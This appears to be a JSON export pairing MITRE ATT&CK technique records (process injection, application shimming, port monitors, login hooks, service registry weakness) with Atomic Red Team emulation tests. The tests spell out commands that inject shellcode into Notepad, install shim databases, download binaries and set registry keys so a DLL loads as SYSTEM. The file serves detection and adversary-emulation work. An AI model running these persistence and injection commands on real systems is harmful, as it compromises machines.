- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:52.686Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job",
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "Container: Container Creation",
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1058": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:49.119Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1058",
- "url": "https://attack.mitre.org/techniques/T1058"
- },
- {
- "external_id": "CAPEC-478",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/478.html"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
- "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
- "source_name": "MSDN Registry Key Security"
- },
- {
- "source_name": "TrustedSignal Service Failure",
- "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
- "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
- },
- {
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
- "source_name": "Twitter Service Recovery Nov 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-03-19T15:12:13.034Z",
- "name": "Service Registry Permissions Weakness",
- "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services
. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand
) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to modify service values in the Registry"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1055.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
- "type": "attack-pattern",
- "created": "2020-01-14T01:28:32.166Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.003",
- "url": "https://attack.mitre.org/techniques/T1055/003"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:22:50.800Z",
- "name": "Thread Execution Hijacking",
- "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread
. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread
, VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Modification",
- "Process: Process Access"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.003"
- },
- "atomic_tests": [
- {
- "name": "Thread Execution Hijacking",
- "auto_generated_guid": "578025d5-faa9-4f6d-8390-aae527d503e1",
- "description": "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe",
- "cleanup_command": "Stop-Process $notepad.pid",
- "name": "powershell"
- }
- }
- ]
- },
- "T1546.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
- "type": "attack-pattern",
- "created": "2020-01-24T14:56:24.231Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.011",
- "url": "https://attack.mitre.org/techniques/T1546/011"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "FireEye Application Shimming",
- "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf",
- "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."
- },
- {
- "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
- "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
- "source_name": "Black Hat 2015 App Shim"
- }
- ],
- "modified": "2020-11-10T18:29:31.094Z",
- "name": "Event Triggered Execution: Application Shimming",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb
and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb
\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom
and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom
\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Modification",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1546.011"
- },
- "atomic_tests": [
- {
- "name": "Application Shim Installation",
- "auto_generated_guid": "9ab27e22-ee62-4211-962b-d36d9a0e6a18",
- "description": "Install a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "Path to the shim database file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Shim database file must exist on disk at specified location (#{file_path})\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"#{file_path}\"\n"
- },
- {
- "description": "AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n",
- "prereq_command": "if (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n"
- }
- ],
- "executor": {
- "command": "sdbinst.exe #{file_path}\n",
- "cleanup_command": "sdbinst.exe -u #{file_path} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "New shim database files created in the default shim database directory",
- "auto_generated_guid": "aefd6866-d753-431f-a7a4-215ca7e3f13d",
- "description": "Upon execution, check the \"C:\\Windows\\apppatch\\Custom\\\" folder for the new shim database\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n",
- "cleanup_command": "Remove-Item C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\nRemove-Item C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Registry key creation and/or modification events for SDB",
- "auto_generated_guid": "9b6a06f9-ab5e-4e8d-8289-1df4289db02f",
- "description": "Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing\nthe registry keys that were created. These keys can also be viewed using the Registry Editor.\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\nNew-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\n",
- "cleanup_command": "Remove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1547.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
- "created": "2020-01-24T19:46:27.750Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.010",
- "url": "https://attack.mitre.org/techniques/T1547/010"
- },
- {
- "source_name": "Bloxham",
- "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
- "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014."
- },
- {
- "source_name": "AddMonitor",
- "url": "http://msdn.microsoft.com/en-us/library/dd183341",
- "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor
API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32
and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
- "modified": "2022-04-20T16:36:31.835Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Port Monitors",
- "x_mitre_detection": "Monitor process API calls to AddMonitor
.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.010"
- },
- "atomic_tests": [
- {
- "name": "Add Port Monitor persistence in Registry",
- "auto_generated_guid": "d34ef297-f178-4462-871e-9ce618d44e50",
- "description": "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "monitor_dll": {
- "description": "Addition to port monitor registry key. Normally refers to a DLL name in C:\\Windows\\System32 but an arbitrary DLL can be specified with the absolute path.",
- "type": "path",
- "default": "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll"
- }
- },
- "executor": {
- "command": "reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ\n",
- "cleanup_command": "reg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1037.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
- "created": "2020-01-10T16:01:15.995Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.002",
- "url": "https://attack.mitre.org/techniques/T1037/002"
- },
- {
- "source_name": "Login Scripts Apple Dev",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html",
- "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022."
- },
- {
- "source_name": "LoginWindowScripts Apple Dev",
- "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts",
- "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022."
- },
- {
- "source_name": "Wardle Persistence Chapter",
- "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf",
- "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."
- },
- {
- "source_name": "S1 macOs Persistence",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist
file and can be modified using the defaults
command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist
file, using the LoginHook
or LogoutHook
key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
- "modified": "2022-04-20T16:42:05.094Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Initialization Scripts: Logon Script (Mac)",
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1037.002"
- },
- "atomic_tests": []
- },
- "T1055": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios",
- "Christiaan Beek, @ChristiaanBeek",
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:47.843Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055",
- "url": "https://attack.mitre.org/techniques/T1055"
- },
- {
- "external_id": "CAPEC-640",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/640.html"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
- "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
- "source_name": "Microsoft Sysmon v6 May 2017"
- }
- ],
- "modified": "2022-03-08T20:59:21.118Z",
- "name": "Process Injection",
- "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
